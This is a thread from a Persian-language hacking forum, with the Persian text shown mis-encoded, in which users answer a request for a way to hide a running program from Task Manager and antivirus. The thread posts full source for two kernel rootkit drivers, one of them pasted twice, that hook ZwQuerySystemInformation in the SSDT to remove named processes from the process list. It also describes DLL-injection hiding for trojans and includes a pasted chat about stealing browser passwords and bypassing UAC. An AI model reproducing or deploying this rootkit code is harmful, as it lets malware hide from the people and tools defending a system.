باشه تشکر از این Ú©Ù‡ Ú¯Ùتی
اطلاعیه
Collapse
No announcement yet.
Hide Process مهم
Collapse
This topic is closed.
X
X
-
نوشته اصلی توسط keylogger نمایش پست هامن نمیدونم کونه همه از چی می سوزه
باشه شما همتون قدیمی از زمان شاه این کا را رو Ù…ÛŒ کنید اما هیچی نیستی Ùقط ادعا.....نوشته اصلی توسط keylogger نمایش پست هااخر این پست یا دعوا میشه یا این Ú©Ù‡ به تو Ùˆ اون رÙیقت رپطی نداره Ú©Ù‡ من
به هر Øال
این سورسی Ú©Ù‡ گذاشتی Øالا یا خودت نوشتی یا از یه جا برداشتی گذاشتی روش کارش هرچی Ú©Ù‡ هست یه روش ناقصه Ùˆ توی هیچ تروجان ØرÙÙ‡ ای استÙاده نمیشه دلیلشم اینه Ú©Ù‡ کسی Ú©Ù‡ بخواد در Ø³Ø·Ø Ø¢Ù…Ø§ØªÙˆØ± یه Remover طراØÛŒ کنه یا اصلا مشکوک بشه Ùˆ بخواد دستی تروجان رو پیدا کنه هیچ وقت نمیاد از تسک منیجر استÙاده کنه Ù…Ú¯Ù‡ اینکه طر٠واقعا زیر خط آماتور باشه! این از این
معمولا تروجانی Ú©Ù‡ قراره ØرÙÙ‡ ای طراØÛŒ بشه (x86/x64) هرچی Ú©Ù‡ هست برای مخÙÛŒ سازیش از لیست پروسه ها میاد یه تابع به اسم NtQuerySystemInformation رو تو یه DLL هوک میکنه Ùˆ اون DLL رو به همه پروسه ها اینجکت میکنه.
گام دوم هوک کردن توابع اجرایی هست Ú©Ù‡ روتکیت کارش رو به صورت کاملا Stable Ùˆ پایدار بتونه پیش ببره. به این صورت Ú©Ù‡ بجز تابع Ùوق Ú©Ù‡ برای مخÙÛŒ سازی پروسه هستش باید توابعی مثل Nt/Zw CreateProcess Ùˆ توابع مشابه اون رو Ú©Ù‡ باعث ایجاد پروسه میشن رو هم هوک کنه بعد اینجوری مشخص میشه Ú©Ù‡ زمان ایجاد پروسه جدید Ú†Ù‡ هندلی جدیدی رو باید بگیریم Ú©Ù‡ DLL بعد از اون به صورت خودکار به پروسه جدید هم اینجکت بشه Ùˆ تو پروسه جدید هم عمل مخÙÛŒ سازی صورت بگیره...
این روش خیلی ساده برای مخÙÛŒ سازی یه پروسه هستش Ú©Ù‡ میتونیم برای تروجان (در Ø³Ø·Ø ÛŒÙˆØ²Ø±) انجام بدیم
روشهای دیگه ای هم هستن Ú©Ù‡ با هوک کردن توابع رینگ 0 (اصطلاØا SSDT HOOK ) میتونیم مخÙÛŒ سازی بهینه تری برای تروجان یا بداÙزارمون داشته باشیم Ú©Ù‡ بیشتر کسانی Ú©Ù‡ به درایور نویسی آشنایی دارن به راØتی میتونن این کار رو هم انجام بدن.
امیدوارم مطالبم Ù…Ùید بوده باشه.
روش Ùوق Ùقط برای TaskManager هست Ùˆ کاربرد زیادی برای کسی نداره اگه منظور منو از پست اولم متوجه نشدی الان Ùکر میکنم Ú©Ù‡ دیگه کامل منظورمو گرÙتی!
موÙÙ‚ باشید.
انجام پروژه های نرم اÙزاری در کمترین زمان Ùˆ نازلترین قیمت
برای تماس به آیدی Arashjeyjey در یاهو مسنجر پیام بدید.
http://www.jeyjey.blogfa.com
Comment
-
دوست عزیز شما Ú†ÛŒ میگید من اصلا Ù†Ú¯Ùتم این کد من نوشتم یک شما میای میگی اینجکت Ú©Ù† من Ùقط Ú¯Ùتم با سورس کد Øر٠بزنید این سورس کدایی Ú©Ù‡ گذاشتی من هم همون سال دیدم
اون بامزه r00tkıt دیگه اومده میگه Ú©Ø´ رÙتی اخه بگو تو توی زندگیت Ú†Ù‡ کاره Ù…Ùیدی تو زمینه کاری بغیر از انالیز انجام دادی Ú©Ù‡ به من میگی دزد در Ú©Ù„ ببخشید من پست نباید بزارم ایراد از منه همه اینجا سالهاست کار کردند....
Comment
-
نوشته اصلی توسط Z4R4THUSTR4 نمایش پست ها
این سورسی Ú©Ù‡ گذاشتی Øالا یا خودت نوشتی یا از یه جا برداشتی گذاشتی روش کارش هرچی Ú©Ù‡ هست یه روش ناقصه Ùˆ توی هیچ تروجان ØرÙÙ‡ ای استÙاده نمیشه دلیلشم اینه Ú©Ù‡ کسی Ú©Ù‡ بخواد در Ø³Ø·Ø Ø¢Ù…Ø§ØªÙˆØ± یه Remover طراØÛŒ کنه یا اصلا مشکوک بشه Ùˆ بخواد دستی تروجان رو پیدا کنه هیچ وقت نمیاد از تسک منیجر استÙاده کنه Ù…Ú¯Ù‡ اینکه طر٠واقعا زیر خط آماتور باشه! این از این
معمولا تروجانی Ú©Ù‡ قراره ØرÙÙ‡ ای طراØÛŒ بشه (x86/x64) هرچی Ú©Ù‡ هست برای مخÙÛŒ سازیش از لیست پروسه ها میاد یه تابع به اسم NtQuerySystemInformation رو تو یه DLL هوک میکنه Ùˆ اون DLL رو به همه پروسه ها اینجکت میکنه.
Comment
-
بله هوک کرده ولی این کد پروسه رو Ùقط برای تسک منیجر مخÙÛŒ میکنه Ú©Ù‡ روش مشابه اون هم تو کامنتهای قبلی ØªÙˆØ¶ÛŒØ Ø¯Ø§Ø¯Ù… یه بار دیگه بخون
انجام پروژه های نرم اÙزاری در کمترین زمان Ùˆ نازلترین قیمت
برای تماس به آیدی Arashjeyjey در یاهو مسنجر پیام بدید.
http://www.jeyjey.blogfa.com
Comment
-
سلام از اساتید یه سورس #c میخوام Ú©Ù‡ برنامه درØال اجرا رو تو لیست پروسس های تسک منیجر نشون نده.
تو گوگل زیاد سرچ کردم ولی دقیقاً این چیزی که میخواستم پیدا نکردم، درضمن سورس هایی هم که به زبان های دیگه بود یا تو ویندوز 64 بیتی 7 کار نمیکرد یا آنتی ویروس میشناخت ممنون میشم اگه کمک کنید.
Comment
-
بیا داداش از این کد استÙاده کنید مشکلتون ØÙ„ میشه
ضمیمه هم کردگ چون Ú¯Ùتم شاید اینجا زیاد Øال کنید به صودت کدی
کد PHP:#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDe******orEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDe******orTableEntry_t, *PServiceDe******orTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDe******orTableEntry_t KeServiceDe******orTable;
#define SYSTEMSERVICE(_function) KeServiceDe******orTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
// Added by Creative of rootkit.com
LARGE_INTEGER m_UserTime;
LARGE_INTEGER m_KernelTime;
///////////////////////////////////////////////////////////////////////
// NewZwQuerySystemInformation function
//
// ZwQuerySystemInformation() returns a linked list of processes.
// The function below imitates it, except it removes from the list any
// process who's name begins with "_root_".
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS(ntStatus))
{
// Asking for a file and directory listing
if(SystemInformationClass == 5)
{
// This is a query for the process list.
// Look for process names that start with
// '_root_' and filter them out.
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev) // Middle or Last entry
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else // we are last, so make prev the end
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// we are first in the list, so move it forward
(char *)SystemInformation += curr->NextEntryDelta;
}
else // we are the only process!
SystemInformation = NULL;
}
}
}
else // This is the entry for the Idle process
{
// Add the kernel and user times of _root_*
// processes to the Idle process.
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
// Reset the timers for next time we filter
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
}
}
return ntStatus;
}
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("ROOTKIT: OnUnload called\n");
// unhook system calls
UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
// Unlock and Free MDL
if(g_pmdlSystemCall)
{
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath)
{
// Register a dispatch function for Unload
theDriverObject->DriverUnload = OnUnload;
// Initialize global times to zero
// These variables will account for the
// missing time our hidden processes are
// using.
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
// save old system call locations
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
// Map the memory into our domain so we can change the permissions on the MDL
g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDe******orTable.ServiceTableBase, KeServiceDe******orTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// Change the flags of the MDL
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
// hook system calls
HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
return STATUS_SUCCESS;
}
Ùایل های پیوست شدهwww.Ragvel.com
www.Ahon.ir
Comment
-
نوشته اصلی توسط JeyJey نمایش پست ها
معمولا تروجانی Ú©Ù‡ قراره ØرÙÙ‡ ای طراØÛŒ بشه (x86/x64) هرچی Ú©Ù‡ هست برای مخÙÛŒ سازیش از لیست پروسه ها میاد یه تابع به اسم NtQuerySystemInformation رو تو یه DLL هوک میکنه Ùˆ اون DLL رو به همه پروسه ها اینجکت میکنه.
گام دوم هوک کردن توابع اجرایی هست Ú©Ù‡ روتکیت کارش رو به صورت کاملا Stable Ùˆ پایدار بتونه پیش ببره. به این صورت Ú©Ù‡ بجز تابع Ùوق Ú©Ù‡ برای مخÙÛŒ سازی پروسه هستش باید توابعی مثل Nt/Zw CreateProcess Ùˆ توابع مشابه اون رو Ú©Ù‡ باعث ایجاد پروسه میشن رو هم هوک کنه بعد اینجوری مشخص میشه Ú©Ù‡ زمان ایجاد پروسه جدید Ú†Ù‡ هندلی جدیدی رو باید بگیریم Ú©Ù‡ DLL بعد از اون به صورت خودکار به پروسه جدید هم اینجکت بشه Ùˆ تو پروسه جدید هم عمل مخÙÛŒ سازی صورت بگیره...
این روش خیلی ساده برای مخÙÛŒ سازی یه پروسه هستش Ú©Ù‡ میتونیم برای تروجان (در Ø³Ø·Ø ÛŒÙˆØ²Ø±) انجام بدیم
روشهای دیگه ای هم هستن Ú©Ù‡ با هوک کردن توابع رینگ 0 (اصطلاØا SSDT HOOK ) میتونیم مخÙÛŒ سازی بهینه تری برای تروجان یا بداÙزارمون داشته باشیم Ú©Ù‡ بیشتر کسانی Ú©Ù‡ به درایور نویسی آشنایی دارن به راØتی میتونن این کار رو هم انجام بدن.
امیدوارم مطالبم Ù…Ùید بوده باشه.
موÙÙ‚ باشید.
اینم یه نمونه قوی از SSDT Hook
کد PHP:#ifdef __cplusplus
extern "C"
{
#endif
#include <ntddk.h>
#pragma pack(1)
typedef struct ServiceDe******orEntry
{
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDe******orTableEntry_t, *PServiceDe******orTableEntry_t;
#pragma pack()
typedef struct _SYSTEM_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER SpareLi1;
LARGE_INTEGER SpareLi2;
LARGE_INTEGER SpareLi3;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR PageDirectoryBase;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;;
extern ServiceDe******orTableEntry_t KeServiceDe******orTable;
NTKERNELAPI NTSTATUS ZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength );
typedef NTSTATUS( *ZWQUERYSYSTEMINFORMATION )( ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
PMDL pMdlSSDT = NULL;
PVOID* pMapSSDT = NULL;
ULONG GetSysFuncIndex( ULONG pFunc )
{
// ¼ÆËã·½·¨²Î¿¼£º[url]http://blog.csdn.net/yjz1409276/article/details/17049417[/url]
return *( PULONG )( ( PUCHAR )pFunc + 1 );
}
ULONG GetSysFuncAddr( ULONG pFunc )
{
ULONG FuncIndex = GetSysFuncIndex( pFunc );
return *( ( ( PULONG ) * KeServiceDe******orTable.ServiceTableBase ) + FuncIndex );
}
ULONG HookSysFunc( ULONG pSysFunc, ULONG pNewFunc )
{
KdPrint( ( "Enter HookSysFunc/n" ) );
__try
{
PULONG pSysAddr = ( PULONG )( pMapSSDT ) + GetSysFuncIndex( pSysFunc );
return InterlockedExchange( ( PLONG )pSysAddr , ( ULONG )pNewFunc );
}
__except ( EXCEPTION_EXECUTE_HANDLER )
{
KdPrint( ( "HookSysFunc Occurred Exception/n" ) );
}
}
ULONG UnHookSysFunc( ULONG pSysFunc, ULONG pOldFunc )
{
KdPrint( ( "Enter UnHookSysFunc/n" ) );
__try
{
PULONG pSysAddr = ( PULONG )( pMapSSDT ) + GetSysFuncIndex( pSysFunc );
return InterlockedExchange( ( PLONG )pSysAddr , ( ULONG ) pOldFunc );
}
__except ( EXCEPTION_EXECUTE_HANDLER )
{
KdPrint( ( "UnHookSysFunc Occurred Exception/n" ) );
}
return 0;
}
VOID DriverUnload( IN PDRIVER_OBJECT DriverObject )
{
KdPrint( ( "Enter DriverUnload/n" ) );
UnHookSysFunc( ( ULONG )ZwQuerySystemInformation, ( ULONG )OldZwQuerySystemInformation );
if ( NULL != pMdlSSDT )
{
MmUnmapLockedPages( pMapSSDT, pMdlSSDT );
IoFreeMdl( pMdlSSDT );
}
}
NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength )
{
KdPrint( ( "Enter NewZwQuerySystemInformation/n" ) );
NTSTATUS ntStatus;
ntStatus = ( ( ZWQUERYSYSTEMINFORMATION )( OldZwQuerySystemInformation ) )( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength );
if ( NT_SUCCESS( ntStatus ) )
{
if ( SystemInformationClass == 5 )
{
PSYSTEM_PROCESS_INFORMATION curr = ( PSYSTEM_PROCESS_INFORMATION )SystemInformation;
PSYSTEM_PROCESS_INFORMATION prev = NULL;
UNICODE_STRING hideName;
RtlInitUnicodeString( &hideName, L"Demo.exe" );
while ( curr )
{
//DbgPrint("Current item is %x\n", curr);
if ( curr->ImageName.Buffer != NULL )
{
if ( 0 == RtlCompareUnicodeString( &curr->ImageName, &hideName, FALSE ) )
{
if ( prev ) // Middle or Last entry
{
if ( curr->NextEntryOffset )
prev->NextEntryOffset += curr->NextEntryOffset;
else // we are last, so make prev the end
prev->NextEntryOffset = 0;
}
else
{
if ( curr->NextEntryOffset )
{
// we are first in the list, so move it forward
SystemInformation = ( PCHAR )SystemInformation + curr->NextEntryOffset;
}
else // we are the only process!
SystemInformation = NULL;
}
}
}
prev = curr;
if ( curr->NextEntryOffset )
( curr = ( PSYSTEM_PROCESS_INFORMATION )( ( PCHAR )curr + curr->NextEntryOffset ) );
else
curr = NULL;
}
}
}
return ntStatus;
}
NTSTATUS DefaultHandler( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
KdPrint( ( "Enter DefaultHandler/n" ) );
Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
Irp->IoStatus.Information = 0;
IoCompleteRequest( Irp, IO_NO_INCREMENT );
return Irp->IoStatus.Status;
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
{
KdPrint( ( "Enter DriverEntry/n" ) );
for ( int i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++ )
{
DriverObject->MajorFunction[i] = DefaultHandler;
}
DriverObject->DriverUnload = DriverUnload;
__try
{
OldZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetSysFuncAddr( ( ULONG )ZwQuerySystemInformation );
// pMdlSSDT = MmCreateMdl( NULL, ( PULONG ) * KeServiceDe******orTable.ServiceTableBase, KeServiceDe******orTable.NumberOfServices * 4 );
pMdlSSDT = IoAllocateMdl( ( PULONG ) * KeServiceDe******orTable.ServiceTableBase,
KeServiceDe******orTable.NumberOfServices * 4, FALSE, FALSE, NULL );
if ( NULL == pMdlSSDT )
{
return STATUS_UNSUCCESSFUL;
}
MmBuildMdlForNonPagedPool( pMdlSSDT );
pMdlSSDT->MdlFlags |= MDL_MAPPED_TO_SYSTEM_VA;
// pMapSSDT = ( PVOID* )MmMapLockedPages( pMdlSSDT, KernelMode );
pMapSSDT = ( PVOID* )MmMapLockedPagesSpecifyCache( pMdlSSDT, KernelMode, MmNonCached, NULL, FALSE, HighPagePriority );
if ( NULL == pMapSSDT )
{
return STATUS_UNSUCCESSFUL;
}
HookSysFunc( ( ULONG )ZwQuerySystemInformation , ( ULONG )NewZwQuerySystemInformation );
return STATUS_SUCCESS;
}
__except ( EXCEPTION_EXECUTE_HANDLER )
{
}
return STATUS_UNSUCCESSFUL;
}
#ifdef __cplusplus
}
#endif
www.Ragvel.com
www.Ahon.ir
Comment
-
نوشته اصلی توسط ciph3r نمایش پست هابیا داداش از این کد استÙاده کنید مشکلتون ØÙ„ میشه
ضمیمه هم کردگ چون Ú¯Ùتم شاید اینجا زیاد Øال کنید به صودت کدی
کد PHP:#include "ntddk.h"
#pragma pack(1)
typedef struct servicede******orentry {
unsigned int *servicetablebase;
unsigned int *servicecountertablebase; //used only in checked build
unsigned int numberofservices;
unsigned char *paramtablebase;
} servicede******ortableentry_t, *pservicede******ortableentry_t;
#pragma pack()
__declspec(dllimport) servicede******ortableentry_t keservicede******ortable;
#define systemservice(_function) keservicede******ortable.servicetablebase[ *(pulong)((puchar)_function+1)]
pmdl g_pmdlsystemcall;
pvoid *mappedsystemcalltable;
#define syscall_index(_function) *(pulong)((puchar)_function+1)
#define hook_syscall(_function, _hook, _orig ) \
_orig = (pvoid) interlockedexchange( (plong) &mappedsystemcalltable[syscall_index(_function)], (long) _hook)
#define unhook_syscall(_function, _hook, _orig ) \
interlockedexchange( (plong) &mappedsystemcalltable[syscall_index(_function)], (long) _hook)
struct _system_threads
{
large_integer kerneltime;
large_integer usertime;
large_integer createtime;
ulong waittime;
pvoid startaddress;
client_id clientis;
kpriority priority;
kpriority basepriority;
ulong contextswitchcount;
ulong threadstate;
kwait_reason waitreason;
};
struct _system_processes
{
ulong nextentrydelta;
ulong threadcount;
ulong reserved[6];
large_integer createtime;
large_integer usertime;
large_integer kerneltime;
unicode_string processname;
kpriority basepriority;
ulong processid;
ulong inheritedfromprocessid;
ulong handlecount;
ulong reserved2[2];
vm_counters vmcounters;
io_counters iocounters; //windows 2000 only
struct _system_threads threads[1];
};
// added by creative of rootkit.com
struct _system_processor_times
{
large_integer idletime;
large_integer kerneltime;
large_integer usertime;
large_integer dpctime;
large_integer interrupttime;
ulong interruptcount;
};
ntsysapi
ntstatus
ntapi zwquerysysteminformation(
in ulong systeminformationclass,
in pvoid systeminformation,
in ulong systeminformationlength,
out pulong returnlength);
typedef ntstatus (*zwquerysysteminformation)(
ulong systeminformationclass,
pvoid systeminformation,
ulong systeminformationlength,
pulong returnlength
);
zwquerysysteminformation oldzwquerysysteminformation;
// added by creative of rootkit.com
large_integer m_usertime;
large_integer m_kerneltime;
///////////////////////////////////////////////////////////////////////
// newzwquerysysteminformation function
//
// zwquerysysteminformation() returns a linked list of processes.
// the function below imitates it, except it removes from the list any
// process who's name begins with "_root_".
Ntstatus newzwquerysysteminformation(
in ulong systeminformationclass,
in pvoid systeminformation,
in ulong systeminformationlength,
out pulong returnlength)
{
ntstatus ntstatus;
ntstatus = ((zwquerysysteminformation)(oldzwquerysysteminformation)) (
systeminformationclass,
systeminformation,
systeminformationlength,
returnlength );
if( nt_success(ntstatus))
{
// asking for a file and directory listing
if(systeminformationclass == 5)
{
// this is a query for the process list.
// look for process names that start with
// '_root_' and filter them out.
Struct _system_processes *curr = (struct _system_processes *)systeminformation;
struct _system_processes *prev = null;
while(curr)
{
//dbgprint("current item is %x\n", curr);
if (curr->processname.buffer != null)
{
if(0 == memcmp(curr->processname.buffer, l"_root_", 12))
{
m_usertime.quadpart += curr->usertime.quadpart;
m_kerneltime.quadpart += curr->kerneltime.quadpart;
if(prev) // middle or last entry
{
if(curr->nextentrydelta)
prev->nextentrydelta += curr->nextentrydelta;
else // we are last, so make prev the end
prev->nextentrydelta = 0;
}
else
{
if(curr->nextentrydelta)
{
// we are first in the list, so move it forward
(char *)systeminformation += curr->nextentrydelta;
}
else // we are the only process!
Systeminformation = null;
}
}
}
else // this is the entry for the idle process
{
// add the kernel and user times of _root_*
// processes to the idle process.
Curr->usertime.quadpart += m_usertime.quadpart;
curr->kerneltime.quadpart += m_kerneltime.quadpart;
// reset the timers for next time we filter
m_usertime.quadpart = m_kerneltime.quadpart = 0;
}
prev = curr;
if(curr->nextentrydelta) ((char *)curr += curr->nextentrydelta);
else curr = null;
}
}
else if (systeminformationclass == 8) // query for systemprocessortimes
{
struct _system_processor_times * times = (struct _system_processor_times *)systeminformation;
times->idletime.quadpart += m_usertime.quadpart + m_kerneltime.quadpart;
}
}
return ntstatus;
}
void onunload(in pdriver_object driverobject)
{
dbgprint("rootkit: Onunload called\n");
// unhook system calls
unhook_syscall( zwquerysysteminformation, oldzwquerysysteminformation, newzwquerysysteminformation );
// unlock and free mdl
if(g_pmdlsystemcall)
{
mmunmaplockedpages(mappedsystemcalltable, g_pmdlsystemcall);
iofreemdl(g_pmdlsystemcall);
}
}
ntstatus driverentry(in pdriver_object thedriverobject,
in punicode_string theregistrypath)
{
// register a dispatch function for unload
thedriverobject->driverunload = onunload;
// initialize global times to zero
// these variables will account for the
// missing time our hidden processes are
// using.
M_usertime.quadpart = m_kerneltime.quadpart = 0;
// save old system call locations
oldzwquerysysteminformation =(zwquerysysteminformation)(systemservice(zwquerysysteminformation));
// map the memory into our domain so we can change the permissions on the mdl
g_pmdlsystemcall = mmcreatemdl(null, keservicede******ortable.servicetablebase, keservicede******ortable.numberofservices*4);
if(!g_pmdlsystemcall)
return status_unsuccessful;
mmbuildmdlfornonpagedpool(g_pmdlsystemcall);
// change the flags of the mdl
g_pmdlsystemcall->mdlflags = g_pmdlsystemcall->mdlflags | mdl_mapped_to_system_va;
mappedsystemcalltable = mmmaplockedpages(g_pmdlsystemcall, kernelmode);
// hook system calls
hook_syscall( zwquerysysteminformation, newzwquerysysteminformation, oldzwquerysysteminformation );
return status_success;
}
Comment
-
ديگه خيلی داره باغ ÙˆØØ´ ميشه اينجا Ùˆ واقعاً بی ادبی داره ميشه يه چيز نرمال تو شبگرد .
با اجازه ممد ØŒ از اين به بعد کسی با کسی بد Øر٠بزنه Ùˆ چاک دهن باز کنه ØŒ بن ميشه . زياد هم اين روند تکرار بشه ØŒ کلاً رجيستری بسته ميشه Ùˆ برای هميشه بيرون ميمونيد .
Øالا اين بی ادبی از طر٠يوزر ÙŠÚ© پسته اتÙاق بيوÙته يا از طريق کسی Ú©Ù‡ 100000 تا پست داره .
جوری صØبت کنيد Ú©Ù‡ تو جامعه Ùˆ پيش خانوادتون صØبت ميکنيد Ùˆ با ادب باشيد ØŒ اگه پيش پدر Ùˆ *****ون هم همينجور صØبت ميکنيد Ùˆ اگه استÙاده از اين لغات برای شما يه چيز نرمال هست ØŒ Ùروم رو ترک کنيد .
Comment
-
نوشته اصلی توسط s_hahroo_z نمایش پست هاديگه خيلی داره باغ ÙˆØØ´ ميشه اينجا Ùˆ واقعاً بی ادبی داره ميشه يه چيز نرمال تو شبگرد .
با اجازه ممد ØŒ از اين به بعد کسی با کسی بد Øر٠بزنه Ùˆ چاک دهن باز کنه ØŒ بن ميشه . زياد هم اين روند تکرار بشه ØŒ کلاً رجيستری بسته ميشه Ùˆ برای هميشه بيرون ميمونيد .
Øالا اين بی ادبی از طر٠يوزر ÙŠÚ© پسته اتÙاق بيوÙته يا از طريق کسی Ú©Ù‡ 100000 تا پست داره .
جوری صØبت کنيد Ú©Ù‡ تو جامعه Ùˆ پيش خانوادتون صØبت ميکنيد Ùˆ با ادب باشيد ØŒ اگه پيش پدر Ùˆ *****ون هم همينجور صØبت ميکنيد Ùˆ اگه استÙاده از اين لغات برای شما يه چيز نرمال هست ØŒ Ùروم رو ترک کنيد .www.Ragvel.com
www.Ahon.ir
Comment
-
Comment
-
نوشته اصلی توسط Araz11316 نمایش پست هاآرش و ciph3r عزیز همین طوری علم و روش دست کسی ندهید
keylogger جان گربه شما ، سگ ما رو میخوره
ولی به زور کوچیکه کسی نمیشم
Comment
-
و اما لمر 2 هزاری ک/و/س خول میلاد
چت مال همین 1 Ù‡Ùته پیش نکبتته:
[email protected]: shoma hanzu nemiduni ke baraye in ke shoma passwordharo estekhraj **** az morurgar bayad permisio ndashte bashe yani uac yes va no
[email protected]: ino harvaght yad gereftin biyan
Mister XHat: Bypass: UAC, Firewall
Mister XHat: age injorie khob baiad betone ok kone dige
[email protected]: be un migan dastresi systemy
[email protected]: uac nemigan
Mister XHat: chashm
Mister XHat: man ozr mikham
[email protected]: tekrar nashe
Mister XHat: chashm
Mister XHat: galat kardam
Mister XHat: alan oke?
[email protected]: edea nakon
Mister XHat: bashe
[email protected]: sareto bendaz pain
